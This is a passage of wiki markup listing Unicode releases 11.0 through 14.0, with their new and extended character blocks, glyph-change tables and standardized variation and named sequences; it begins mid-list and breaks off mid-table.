* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
